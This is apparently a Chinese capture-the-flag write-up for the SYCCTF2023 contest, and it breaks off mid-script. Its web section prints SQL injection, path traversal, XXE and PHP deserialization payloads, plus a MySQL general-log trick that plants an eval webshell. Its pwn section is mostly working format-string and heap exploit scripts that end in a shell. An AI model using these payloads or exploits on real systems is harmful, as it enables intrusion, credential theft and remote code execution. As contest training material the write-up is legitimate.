安洵杯SYCCTF2023 writeup
一、MISC
1.sudoku_easy
简单的数独交互,几个小注意点,每次发送level之后sleep5秒才会返回题目
---------------------
800103720
023840650
410006008
300001062
000052407
072060090
160000375
205019846
000030000
---------------------
转换成二维数组进行解数独,并将返回结果重新转换成多行字符串形式
def parse_input(input_list):
board = []
for row in input_list:
nums = list(map(int, row))
board.append(nums)
return board
def format_output(board):
formatted = ""
for row in board:
formatted += "".join(map(str, row)) + "\n"
return formatted.strip()
最终脚本:
def find_empty(board):
for row in range(9):
for col in range(9):
if board[row][col] == 0:
return row, col
return None
def is_valid(board, num, pos):
row, col = pos
for i in range(9):
if board[row][i] == num and col != i:
return False
if board[i][col] == num and row != i:
return False
box_row = row // 3
box_col = col // 3
for i in range(box_row * 3, box_row * 3 + 3):
for j in range(box_col * 3, box_col * 3 + 3):
if board[i][j] == num and (i, j) != pos:
return False
return True
def solve(board):
find = find_empty(board)
if not find:
return True
else:
row, col = find
for i in range(1, 10):
if is_valid(board, i, (row, col)):
board[row][col] = i
if solve(board):
return True
board[row][col] = 0
return False
def parse_input(input_list):
board = []
for row in input_list:
nums = list(map(int, row))
board.append(nums)
return board
def format_output(board):
formatted = ""
for row in board:
formatted += "".join(map(str, row)) + "\n"
return formatted.strip()
# input_string = '''---------------------
# 800103720
# 023840650
# 410006008
# 300001062
# 000052407
# 072060090
# 160000375
# 205019846
# 000030000
# ---------------------
# now give me you solve:'''
# lists=input_string.split('\n')[1:10]
# board = parse_input(lists)
# print(board)
# solve(board)
# print(board)
from pwn import *
# 创建连接
conn = remote('47.108.165.60',27539)
# 接收欢迎信息
for i in range(7):
msg = conn.recvuntil("Please input:").strip().decode("utf-8")
print(msg)
# 发送选择
conn.sendline('1'.encode())
# 接收下一步提示
msg = conn.recvuntil("Please select the level:").strip().decode("utf-8")
print(msg)
conn.sendline('5'.encode())
msg = conn.recvuntil("clock start").strip().decode("utf-8")
print(msg)
time.sleep(5)
msg = conn.recvuntil("now give me you solve:").strip().decode("utf-8")
print(msg)
lists = msg.split('\n')[1:10]
board = parse_input(lists)
solve(board)
solved = format_output(board)
conn.sendline(solved.encode())
conn.interactive()
或者
from pwn import *
def is_valid(board, row, col, num):
# 检查行是否合法
for i in range(9):
if board[row][i] == num:
return False
# 检查列是否合法
for i in range(9):
if board[i][col] == num:
return False
# 检查小九宫格是否合法
start_row = (row // 3) * 3
start_col = (col // 3) * 3
for i in range(3):
for j in range(3):
if board[start_row + i][start_col + j] == num:
return False
return True
def solve_sudoku(board):
for row in range(9):
for col in range(9):
if board[row][col] == 0:
for num in range(1, 10):
if is_valid(board, row, col, num):
board[row][col] = num
if solve_sudoku(board):
return True
board[row][col] = 0 # 回溯
return False # 所有数字都尝试过,没有找到合适的数字
return True
def print_sudoku(board):
a = ''
for row in range(9):
for col in range(9):
a += str(board[row][col])
a+='\n'
return a.strip()
context.log_level = 'debug'
p = remote('47.108.165.60',23479)
p.recv()
for i in range(7):
p.sendline('1')
p.recvuntil('Please select the level:')
p.sendline('5')
a = '---------------------\nnow give me you solve:'
content = p.recvuntil(a).decode().split(a)[0][-130:]
sudoku = content.split('---------------------')[1]
sudoku = sudoku.strip()
sudoku = sudoku.split('\n')
tmp = []
for sudo in sudoku:
a = [int(s) for s in sudo]
tmp.append(a)
if solve_sudoku(tmp):
result = print_sudoku(tmp)
log.info(result)
for line in result.split('\n'):
p.send(line)
#content = p.recv().decode()
p.interactive()
单独的数独解密脚本:
class SudoKu():
def __init__(self, sudo_ku_data):
if not isinstance(sudo_ku_data, list):
raise TypeError(f'sudo_ku_data params must a list, but {sudo_ku_data} is a {type(sudo_ku_data)}')
if len(sudo_ku_data) != 9 or len(sudo_ku_data[0]) != 9:
raise TypeError(
f'sudo_ku_data params must a 9*9 list, but {sudo_ku_data} is a {len(sudo_ku_data)}*{len(sudo_ku_data[0])} list')
self.sudo_ku = sudo_ku_data
# 存放每一行已有的数据
self.every_row_data = {}
# 每一列已有的数字
self.every_column_data = {}
# 每一个3*3有的数字
self.every_three_to_three_data = {}
# 每一个空缺的位置
self.vacant_position = []
# 每一个空缺位置尝试了的数字
self.every_vacant_position_tried_values = {}
# 初始化数据
self._init()
def _add_row_data(self, row, value):
'''
初始化的时候
添加数据到self.every_row_data中
:param row:
:param value:
:return:
'''
if row not in self.every_row_data:
self.every_row_data[row] = set()
if value in self.every_row_data[row]:
raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')
self.every_row_data[row].add(value)
def _add_column_data(self, column, value):
'''
初始化的时候
添加数据到self.every_column_data中
:param column:
:param value:
:return:
'''
if column not in self.every_column_data:
self.every_column_data[column] = set()
if value in self.every_column_data[column]:
raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')
self.every_column_data[column].add(value)
def _get_three_to_three_key(self, row, column):
'''
得到每一个3*3的key
:param row:
:param column:
:return:
'''
if row in [0, 1, 2]:
if column in [0, 1, 2]:
key = 1
elif column in [3, 4, 5]:
key = 2
else:
key = 3
elif row in [3, 4, 5]:
if column in [0, 1, 2]:
key = 4
elif column in [3, 4, 5]:
key = 5
else:
key = 6
else:
if column in [0, 1, 2]:
key = 7
elif column in [3, 4, 5]:
key = 8
else:
key = 9
return key
def _add_three_to_three_data(self, row, column, value):
'''
初始化的时候
添加数据到self.every_three_to_three_data中
:param row:
:param column:
:param value:
:return:
'''
key = self._get_three_to_three_key(row, column)
if key not in self.every_three_to_three_data:
self.every_three_to_three_data[key] = set()
self.every_three_to_three_data[key].add(value)
def _init(self):
'''
根据传入的数独,初始化数据
:return:
'''
for row, row_datas in enumerate(self.sudo_ku):
for column, value in enumerate(row_datas):
if value == '':
self.vacant_position.append((row, column))
else:
self._add_row_data(row, value)
self._add_column_data(column, value)
self._add_three_to_three_data(row, column, value)
def _judge_value_is_legal(self, row, column, value):
'''
判断方放置的数据是否合法
:param row:
:param column:
:param value:
:return:
'''
# value是否存在这一行数据中
if value in self.every_row_data[row]:
return False
# value是否存在这一列数据中
if value in self.every_column_data[column]:
return False
# value是否存在这个3*3的宫内
key = self._get_three_to_three_key(row, column)
if value in self.every_three_to_three_data[key]:
return False
return True
def _calculate(self, vacant_position):
'''
计算,开始对数独进行放置值
:param vacant_position:
:return:
'''
# 得到当前位置
row, column = vacant_position
values = set(range(1, 10))
# 对当前为位置创建一个唯一key,用来存放当前位置已经尝试了的数据
key = str(row) + str(column)
# 如果这个key存在,就对values进行取差集,因为两个都是集合(set),直接使用-就行了
if key in self.every_vacant_position_tried_values:
values = values - self.every_vacant_position_tried_values[key]
# 如果这个key不存在,就创建一个空的集合
else:
self.every_vacant_position_tried_values[key] = set()
for value in values:
# 对当前数据添加到当前位置尝试过的的数据中
self.every_vacant_position_tried_values[key].add(value)
# 如果当前value合法,可以放置
if self._judge_value_is_legal(row, column, value):
# print(f'set {vacant_position} value is {value}')
# 更新 判断数据合法时 需要使用到的数据
self.every_column_data[column].add(value)
self.every_row_data[row].add(value)
key = self._get_three_to_three_key(row, column)
self.every_three_to_three_data[key].add(value)
# 修改这个位置的值为value
self.sudo_ku[row][column] = value
# 返回True 和填充的 value
return True, value
return False, None
def _backtrack(self, current_vacant_position, previous_vacant_position, previous_value):
'''
回溯
:param current_vacant_position: 当前尝试失败的位置
:param previous_vacant_position: 上一次成功的位置
:param previous_value:上一次成功的值
:return:
'''
# print(f"run backtracking... value is {previous_value},vacant position is {previous_vacant_position}")
row, column = previous_vacant_position
# 对上一次成功的值从需要用到的判断的数据中移除
self.every_column_data[column].remove(previous_value)
self.every_row_data[row].remove(previous_value)
key = self._get_three_to_three_key(row, column)
self.every_three_to_three_data[key].remove(previous_value)
# 并且上一次改变的的值变回去
self.sudo_ku[row][column] = ''
# 对当前尝试失败的位置已经城市失败的的值进行删除,因为回溯了,所以下一次进来需要重新判断值
current_row, current_column = current_vacant_position
key = str(current_row) + str(current_column)
self.every_vacant_position_tried_values.pop(key)
def get_result(self):
'''
得到计算之后的数独
:return:
'''
# 空缺位置的长度
length = len(self.vacant_position)
# 空缺位置的下标
index = 0
# 存放已经尝试了的数据
tried_values = []
# 如果index小于length,说明还没有计算完
while index < length:
# 得到一个空缺位置
vacant_position = self.vacant_position[index]
# 计入计算函数,返回是否成功,如果成功,value为成功 的值,如果失败,value为None
is_success, value = self._calculate(vacant_position)
# 如果成功,将value放在tried_values列表里面,因为列表是有序的.
# index+1 对下一个位置进行尝试
if is_success:
tried_values.append(value)
index += 1
# 失败,进行回溯,并且index-1,返回上一次的空缺位置,我们需要传入当前失败的位置 和 上一次成功的位置和值
else:
self._backtrack(vacant_position, self.vacant_position[index - 1], tried_values.pop())
index -= 1
# 如果index<0 了 说明这个数独是无效的
if index < 0:
raise ValueError(f'{self.sudo_ku} is a invalid sudo ku')
# 打印计算之后的数独
self.show_sudo_ku()
return self.sudo_ku
def show_sudo_ku(self):
'''
显示数独
:return:
'''
for row in self.sudo_ku:
for b in row:
print(str(b), end="")
print()
# print(row) # 原本
##################################################
# 用来判断最后计算的数独是否合法,和计算没有关系 #
##################################################
def judge_value_is_legal(row, column, value, sudo_ku):
# column
for i in range(0, 9):
if row == i:
continue
if value == sudo_ku[i][column]:
return False
# row
for i in range(0, 9):
if column == i:
continue
if value == sudo_ku[row][i]:
return False
# three_to_three
for i in range(row // 3 * 3, row // 3 * 3 + 3):
for j in range(column // 3 * 3, column // 3 * 3 + 3):
if i == row and j == column:
continue
if value == sudo_ku[i][j]:
return False
return True
def judge_sudo_ku_is_legal(sudo_ku):
for row, row_values in enumerate(sudo_ku):
for column, value in enumerate(row_values):
if not judge_value_is_legal(row, column, value, sudo_ku):
return False
return True
if __name__ == '__main__':
data = """450706200
200000048
000408060
085290006
602003950
700600830
500040680
900300100
821065073"""
sudo1 = data.split('\n')
sudo_ku_data = [list(s) for s in sudo1]
for i in sudo_ku_data:
for b in range(len(i)):
if i[b] != '0':
i[b] = int(i[b])
else:
i[b] = ''
# 得到计算好的数独
sudo_ku = SudoKu(sudo_ku_data).get_result()
# 判断最后生成的数独是否是有效的
# print(judge_sudo_ku_is_legal(sudo_ku))
2.烦人的压缩包
打开压缩包要密码,爆破密码645321
jpg文件尾压缩包
提取出来直接解压提示crc报错
修复压缩包的crc
解开后ook解密
3.sudoku_speedrun
小小升级版数独,telnet交互:
kali :: ~ 127 » telnet 47.108.165.60 37569
Trying 47.108.165.60...
Connected to 47.108.165.60.
Escape character is '^]'.
Ubuntu 22.04.2 LTS
Welcome to Play Sudoku Game!
Play(1)
Exit(2)
Please input
> 1
Tips:
R to replay
Q to exit
WASD to move
You have 10000ms to solve it :)
Please select the level
easy(5)
normal(6)
hard(7)
>5
这次需要解出之后通过移动光标将数独还原
其实大差不差,这里主要几个点
‘’’
-------------------------
| 4 3 0 | 0 0 6 | 2 0 0 |
| 8 0 0 | 0 7 0 | 0 0 3 |
| 2 0 7 | 0 5 0 | 1 4 6 |
-------------------------
| 0 0 0 | 0 0 0 | 0 7 5 |
| 7 5 0 | 8 0 0 | 6 2 0 |
| 0 2 9 | 7 3 5 | 0 1 0 |
-------------------------
| 5 6 0 | 4 0 3 | 0 9 0 |
| 0 0 2 | 5 0 0 | 8 0 0 |
| 3 0 1 | 0 8 2 | 0 6 4 |
-------------------------’’’
转二维数组
def parse_input(input_string):
rows = input_string.strip().split('\n')
board = []
for row in rows:
row = row.replace('-', '').replace('|', '').split()
nums = [int(num) if num != '0' else 0 for num in row]
if nums!=[]:
board.append(nums)
return board
最终脚本:
import telnetlib
def solve_sudoku(board):
if is_complete(board):
return board
row, col = find_empty_cell(board)
for num in range(1, 10):
if is_valid(board, row, col, num):
board[row][col] = num
if solve_sudoku(board):
return board
board[row][col] = 0
return None
def is_complete(board):
for row in board:
if 0 in row:
return False
return True
def find_empty_cell(board):
for i in range(9):
for j in range(9):
if board[i][j] == 0:
return i, j
return None, None
def is_valid(board, row, col, num):
# Check row
if num in board[row]:
return False
# Check column
for i in range(9):
if board[i][col] == num:
return False
# Check 3x3 box
box_row = (row // 3) * 3
box_col = (col // 3) * 3
for i in range(box_row, box_row + 3):
for j in range(box_col, box_col + 3):
if board[i][j] == num:
return False
return True
def parse_input(input_string):
rows = input_string.strip().split('\n')
board = []
for row in rows:
row = row.replace('-', '').replace('|', '').split()
nums = [int(num) if num != '0' else 0 for num in row]
if nums!=[]:
board.append(nums)
return board
def solve(input_string):
original_board = parse_input(input_string)# 创建原始数组的副本
board_copy = [row[:] for row in original_board]
solution = solve_sudoku(original_board)
# print(board_copy)
# print(solution)
lists = []
for i in range(9):
for j in range(9):
if board_copy[i][j] == 0:
lists.append(str(solution[i][j]))
if j != 8:
lists.append('d')
lists.extend('saaaaaaaa')
# print(f"索引为 ({i}, {j}) 的位置,填入数字 {solution[i][j]}")
return lists
tn = telnetlib.Telnet('47.108.165.60',36697)
welcome_msg = tn.read_until(b"Please input")
print(welcome_msg.decode("utf-8"))
# 发送返回值到服务器
tn.write("1".encode("utf-8") + b"\n")
msg = tn.read_until(b"hard(7)")
print(msg.decode("utf-8"))
tn.write("5".encode("utf-8") + b"\n")
msg = ''
for i in range(15):
response = tn.read_until(b"\n")
# print((response))
response = response.replace(b'\x1b[7;32m',b'').replace(b'\x1b[0m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[H\x1b[2J',b'')
msg += response.decode().strip('> 5')
tn.write(str(solve(msg)).encode("utf-8") + b"\n")
tn.interact()
或者脚本:
def solve_sudoku(puzzle):
# 辅助函数:检查数字num是否可以放置在指定位置(row, col)
def is_valid(num, row, col):
# 检查行
for i in range(9):
if puzzle[row][i] == num:
return False
# 检查列
for i in range(9):
if puzzle[i][col] == num:
return False
# 检查3x3方格
start_row = (row // 3) * 3
start_col = (col // 3) * 3
for i in range(3):
for j in range(3):
if puzzle[start_row + i][start_col + j] == num:
return False
return True
# 辅助函数:回溯求解数独
def backtrack():
for row in range(9):
for col in range(9):
if puzzle[row][col] == 0: # 找到一个空格
for num in range(1, 10): # 尝试数字1-9
if is_valid(num, row, col):
puzzle[row][col] = num # 填入数字
if backtrack(): # 递归求解
return True
puzzle[row][col] = 0 # 回溯,撤销选择
return False
return True
# 将输入的字符串转换成二维列表
puzzle = [[int(puzzle[i * 9 + j]) for j in range(9)] for i in range(9)]
# 调用回溯函数求解数独
if backtrack():
# 将二维列表转换回字符串
solution = ''.join(str(puzzle[i][j]) for i in range(9) for j in range(9))
return solution
else:
return "No solution found."
# # 输入数独题目
# puzzle_input = "002506008160080500000070601006030075325090164070620000207041800010807340850003019"
#
# # 解答数独题目
# solution = solve_sudoku(puzzle_input)
#
# # 输出结果
# print(solution)
from pwn import *
context.log_level="debug"
p = remote('47.108.165.60',32449)
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(b'7')
p.recv()
s = p.recv()
s = s.replace(b'\x1b[7;32m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[0m',b'').replace(b'\r\n',b'').replace(b'|',b'').replace(b' ',b'').replace(b'-',b'').replace(b'\x1b[H\x1b[2J',b'').decode()
# print(s)
solution = solve_sudoku(s)
# print(solution)
flag = ''
for i in range(9):
for j in range(9):
if(s[i*9+j] != '0'):
flag += 'd'
else:
flag += solution[i*9+j]
flag += 'd'
flag = flag[:-1]
flag += 'saaaaaaaa'
print(flag)
flag = flag.encode()
p.sendline(flag)
r = p.recvall(100000)
print(r.decode())
print(s)
print(solution)
4.cancellation
题目得到noise.mp4,意外的发现用windows media player播放可以读到一串sstv
结合file用Matroska打包猜测应该是mkv文件
用mkvtool发现确实有多个音频轨道
mkvextract.exe提取出来两个音频(轨道是从0开始的,mkvtool里的轨道编号从1开始的)
轨道3可以读到一张图
轨道2可以读到一个模糊无法识别的二维码,仔细观察可以发现背景图似乎就是轨道3读到的图
在测试过程中发现在一定位置挂上notch之后,可以读到很清晰的后半边的二维码,左半边变得更加模糊了,但却更加清晰的显示出背景图,明显就是轨道3的图
再结合题目名,大胆猜测轨道2的sstv做了一个叠加处理,尝试几次后2*轨道2-轨道3可以扫描出正确的图像(这里放完整二维码图片会被csdnban掉)
import librosa
import soundfile as sf
import numpy as np
audio1, sr1 = librosa.load('2.wav', sr=None)
audio2, sr2 = librosa.load('3.wav', sr=None)
result = 2*audio1-audio2
sf.write('result.wav', result, sr1)
或者脚本:
from scipy.io import wavfile
import numpy as np
# 加载两个音频文件
rate1, audio1 = wavfile.read('output1.wav')
rate2, audio2 = wavfile.read('output2.wav')
# 确保两个音频的采样率相同,如果不同,进行重新采样
if rate1 != rate2:
# 重新采样audio2为与audio1相同的采样率
audio2 = np.interp(np.linspace(0, len(audio2), len(audio1)), np.arange(len(audio2)), audio2).astype(audio1.dtype)
# 确保两个音频的长度相同,如果不同,进行裁剪或填充
length = min(len(audio1), len(audio2))
audio1 = audio1[:length]
audio2 = audio2[:length]
# 音频相减
result = audio1 - audio2//2
# 保存为新的音频文件
wavfile.write('output_diff.wav', rate1, result)
扫描的结果解base64得到图片
拿到flag
二、web
1.go题目
categories这里随便加一个
新建一个task 放到里面
然后在search那里注入,这里解释下为什么会这样
stmt := "select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%" + query + "%' or content like '%" + query + "%') order by created_date desc"
这里是直接query没任何限制,直接注入就行了,但是调试的时候没添加priority这个字段,导致查询一直错误,没调试出来真的可惜。
然后到这里就很明了构造闭合,直接去查询数据。
select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%1') union select 1,email,3,4,5,username from user -- %' or content like '%1') union select 1,email,3,4,5,username from user -- %') order by created_date desc
然后题目数据库里面有个 oss的桶,这里环境没了没法继续了。
1') union select 1,url,3,4,secretId ,secretKey from secret -- +
查询出来登录拿flag就行了。
2.CarelessPy
打开环境,可以发现有两个接口,一个是eval,另一个是login处
访问eval路径,可知get请求访问,且cmd传参,要任意读取part.cpython-311.pyc文件,但是不知道具体路径。
存在文件下载漏洞,构造Payload:
/download?file=../../../../../etc/passwd 下载成功
/download?file=../../../../../proc/1/environ 下载失败
构造去下载提示的start.sh
继续构造下载pyc文件/download?file=../../../../../../../app/__pycache__/part.cpython-311.pyc
或者/eval?cmd=app/__pycache__/
使用在线工具进行反编译,得到session的key
然后对session进行伪造
构造session去登录,获得路由
登录成功
一看就是XML注入
<?xml version="1.0" ?><!DOCTYPE message [ <!ENTITY shell SYSTEM "file:///flag"> ]> <result><ctf>杂鱼~</ctf><web> &shell; </web></result> #SYCTF{COrReCt_AN5w3r_fa0efe410508}
3.Confronting robot
打开网页发现存在sql注入
直接sqlmap跑
payload:sqlmap -u "http://x.x.x.x:34918/?myname=aaa" -D robot_data -T name --columns --dump
得到路由/sEcR@t_n@Bodyknow.php
在该页面可以通过POST传入code直接执行Sql语句
使用sqlmap跑mysql.user的数据表查看一下权限,发现当前用户拥有Super_priv的权限,但是没有其他可以利用权限。但是root用户存在所有权限
解题思路:修改'root'@'::1'为'secret'@'%',然后把'secret'@'localhost'随便修改一个名字,这样链接的数据库就拥有root权限了。需要注意的是密码也需要改成和secret相同。
把secret密码dump下来
首先修改root的密码,
payload:alter user 'root'@'127.0.0.1' identified by PASSWORD '*C4809B442CD41D91C25BAEA070D00FF39A87190D';
查询是否修改成功
在继续把'root'@'127.0.0.1'修改成'secret'@'%'
payload:rename user 'root'@'127.0.0.1' to 'secret'@'%';
然后把'secret'@'localhost'修改成任意名字即可
payload:rename user 'secret'@'localhost' to 'aaa'@'%';
最后直接读取game.php文件,获得flag
SYCTF{RObOt_r0B07_3599ec7eac28}
方法二:
参数myname存在SQL注入,SQLMAP直接跑
看题意要猜拳 10 把正确,才能获取 flag,同时还有另一个注入点,测试插入数据失败。测试了一下日志 getshell 成功,非预期
SHOW VARIABLES LIKE '%general%';
set global general_log = "ON";
set global general_log_file='/var/www/html/sEcR@t_n@Bodyknow.php';
select "<?php eval($_POST['pass']);?>";
然后直接select记录一次马即可shell
蚁剑连接game.php得到flag
4.4号的罗纳尔多
一个反序列化,两个关键点要绕,第一个可以通过 php 内置类 splstack 绕过匹配 O 开头的序列化数据;第二个可以通过__halt_compiler();来结束 php 代码执行流程,绕过givemegirlfriend!字符串的影响。
<?php
class evil{
public $cmd;
public $a;
}
$evilClass = new evil();
$evilClass->cmd = 'system(next(getallheaders()));__halt_compiler();';
$a = new SplStack();
$a -> push($evilClass);
echo serialize($a);
三、Pwn
1.harde_pwn
第二步:用格式化字符串漏洞泄露libc和程序基地址。
第三步:用格式化字符串漏洞打heap_fmt函数运行时候rbp下面的返回地址为onegadgets。
第四步:用格式化字符串漏洞打heap_fmt函数中read函数的返回地址为leave ret。
第五步:get shell。
POC:
from pwn import *
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
def duan():
gdb.attach(p)
pause()
rand = [1804289348,846930915,1681692750,1714636888,1957747830,424238300,719885423,1649760457,596516622,1189641450,1025202335,1350490000,783368663,1102520032,2044897736,1967513955,1365180505,1540383463,304089201,1303455709,35005248]
p.recvuntil('game!\n')
payload = b'a'*(0x20-0x4)+p32(0)
p.send(payload)
for i in range(21):
p.sendlineafter('input: \n',str(rand[i]))
p.recvuntil('Success!\n')
p.recvuntil('ata ;)\n')
payload = 'aaaa%3$pbbbb%15$p'
p.send(payload)
p.recvuntil('aaaa')
libc_base = int(p.recv(14),16)-1132946
p.recvuntil('bbbb')
stack = int(p.recv(14),16)
print('stack-->'+hex(stack))
print('libc_base-->'+hex(libc_base))
temp = stack-320+0x20
temp = str(hex(temp)[-4:])
print('temp-->'+temp)
payload = '%'+str(int(temp,16))+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')
og = [0xebcf1,0xebcf5,0xebcf8]
shell = libc_base+og[1]
payload = '%'+str(int(hex(shell)[-4:],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')
payload = '%'+str(int(temp,16)+2)+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')
payload = '%'+str(int(hex(shell)[-8:-4],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')
payload = '%'+str(int(temp,16)+4)+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')
payload = '%'+str(int(hex(shell)[-12:-8],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')
payload = 'aaaa%13$p\x00'
p.send(payload)
p.recvuntil('aaaa')
pie = int(p.recv(14),16)-0x1502
print('pie-->'+hex(pie))
print('shell-->'+hex(shell))
gongji = pie+0x1366
temp = stack-320+0x20-0x20
temp = str(hex(temp)[-4:])
payload = '%'+str(int(temp,16))+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')
payload = '%'+str(int(hex(gongji)[-4:],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')
p.interactive()
或者脚本:
#coding:utf-8
import sys
from pwn import *
from ctypes import CDLL
context.log_level='debug'
elfelf='./harde_pwn'
#context.arch='amd64'
while True :
# try :
elf=ELF(elfelf)
context.arch=elf.arch
gdb_text='''
b printf
'''
if len(sys.argv)==1 :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=process(elfelf)
gdb_open=1
# io=process(['./'],env={'LD_PRELOAD':'./'})
clibc.srand(0)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=remote('47.108.165.60',47183)
gdb_open=0
clibc.srand(0)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a):
if gdb_open==1 :
gdb.attach(io,a)
io.recvuntil('elcome to a ctype game!\n')
io.send('\x00'*0x20)
for i in range(21):
io.recvuntil(': \n')
io.sendline(str((clibc.rand() ^ 0x24) + 1))
io.recv()
io.send('%31$p')
io.recvuntil('0x')
libc_base=int(io.recv(12),16)-libc.sym['__libc_start_main']-128
libc.address=libc_base
bin_sh_addr=libc.search('/bin/sh\x00').next()
system_addr=libc.sym['system']
free_hook_addr=libc.sym['__free_hook']
pop_rax_ret=libc.search(asm('pop rax;ret')).next()
pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()
pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()
pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()
syscall_ret=libc.search(asm('syscall;ret')).next()
io.send('%15$p\x00')
io.recvuntil('0x')
stack=int(io.recv(12),16)-0x38-0xe8
io.recv()
pay='%'+str(stack&0xffff)+'c%15$hn'
io.send(pay+'\x00')
def go(a):
io.sendafter('input your data ;)\n',a+'\x00')
def fmt(addr,value):
pay='%'+str(addr&0xffff)+'c%15$hn'
go(pay)
off_1=(value)&0xff
if value==0:
go('%45$hhn')
else:
go('%'+str(off_1)+'c%45$hhn')
for i in range(5):
pay='%'+str((addr+1+i)&0xff)+'c%15$hhn'
go(pay)
off_1=(value>>((i+1)*8))&0xff
if value==0:
go('%45$hhn')
else:
go('%'+str(off_1)+'c%45$hhn')
fmt(stack,pop_rdi_ret)
fmt(stack+0x8,bin_sh_addr)
fmt(stack+0x10,pop_rsi_ret)
fmt(stack+0x18,0)
fmt(stack+0x20,pop_rsi_ret+1)
fmt(stack+0x28,system_addr)
pay='%'+str((stack-0x20)&0xffff)+'c%15$hn'
go(pay)
gdb_attach(io,gdb_text)
go('%'+str(0xae)+'c%45$hhn')
success('libc_base:'+hex(libc_base))
success('stack:'+hex(stack))
# success('heap_base:'+hex(heap_base))
io.interactive()
# except Exception as e:
# io.close()
# continue
# else:
# continue
4.pwnpwn
代码审计
main()
sub_C60()
该函数利用4个rand()%10,让我们猜4个数字
add()
off by null漏洞
思路
利用time(0)是获取当前时间,我们可以利用这点对rand()的进行碰撞,有概率成功;然后利用off_by_null,实现堆重叠,然后劫持free_hook改为system,释放含有“/bin/sh\x00”便可以getshell
exp:
from pwn import*
from ctypes import *
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
libc = ELF("./libc-2.31.so")
# libc = ELF("./libc-so.6")
libc_run = cdll.LoadLibrary('./libc-so.6')
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p,elf
# p = process(name)
p = remote("47.108.165.60",30770)
elf = ELF(name)
def add(idx,size,content):
p.sendlineafter("root@$",'1')
p.sendlineafter("give me your index:",str(idx))
p.sendlineafter("give me your size:",str(size))
p.sendafter("give me your content:",content)
def edit(idx,content):
p.sendlineafter("root@$",'3')
p.sendlineafter("give me your index",str(idx))
p.sendlineafter("give me your index",str(idx))
p.sendafter("give me your content:",content)
def dele(idx):
p.sendlineafter("root@$",'4')
p.sendlineafter("give me your index:",str(idx))
def show(idx):
p.sendlineafter("root@$",'2')
p.sendlineafter("give me your index:",str(idx))
def login(name,passwd):
p.sendlineafter("root@$",'5')
p.sendafter("please input your username",name)
p.sendafter("please input your passwd",passwd)
# p.recvuntil("menu")
# libc_run.srand(libc_run.time(0))
# num = (libc_run.rand()%10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)
libc_run.srand(libc_run.time(0)+10)
num = (libc_run.rand()%10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)
def pwn(num):
p.sendlineafter("please input your number:",str(num))
p.recvline()
if not p.recvuntil("you win",timeout=0.1):
exit(0)
login("AAAAA","AA")
add(0,0x440,"AAA")
add(1,0x88,"AAA")
add(2,0x440,"AAAA")
add(3,0x60,"AAA")
dele(0)
dele(2)
add(0,0x450,"AAAA")
add(2,0x440,"AAAAAAAA")
add(4,0x440,"AAAAAAAA")
edit(4,"\x70"*9)
login("AAAAA","A"*100)
show(4)
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 1008 - 0x10 - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
print(hex(libc.address))
login("AAAAA\x00","AAA\x00")
edit(4,"A"*0xf+"+")
login("AAAAA","A"*100)
show(4)
p.recvuntil("+")
heap_addr = u64(p.recv(6).ljust(8,b"\x00")) - 0x290
print(hex(heap_addr))
login("AAAAA\x00","AAA\x00")
ptr = heap_addr + 0xc60 - 0x20
target = heap_addr + 0x10c0 - 0x20
edit(0,p64(target))
# for i in range(5):
# dele(i)
# add(7,0x80,"AAA")
# add(8,0x70,"AAAA")
# add(9,0x3f0,"AAAA")
add(5,0x220,p64(0)+p64(0x441)+p64(ptr-0x18)+p64(ptr-0x10))
add(6,0x218,"AAA")
add(7,0x4f0,"AAAA")
dele(6)
add(6,0x218,b"A"*0x210+p64(0x440))
dele(7)
add(7,0x210,"AAAA")
add(8,0x60,"AAAAA")
dele(3)
dele(6)
login("AAAAA\x00","AAA\x00")
edit(8,p64(free_hook))
add(6,0x60,"/bin/sh\x00")
add(3,0x60,p64(libc.sym['system']))
dele(6)
# gdb.attach(p,"")
while True:
try:
get_p("./pwnpwn")
pwn(num)
p.interactive()
except:
p.close()
# get_p("./pwnpwn")
# pwn()
# p.interactive()
或者脚本:
from pwn import *
from struct import pack
from ctypes import *
import hashlib
context(os='linux', arch='amd64', log_level='debug')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
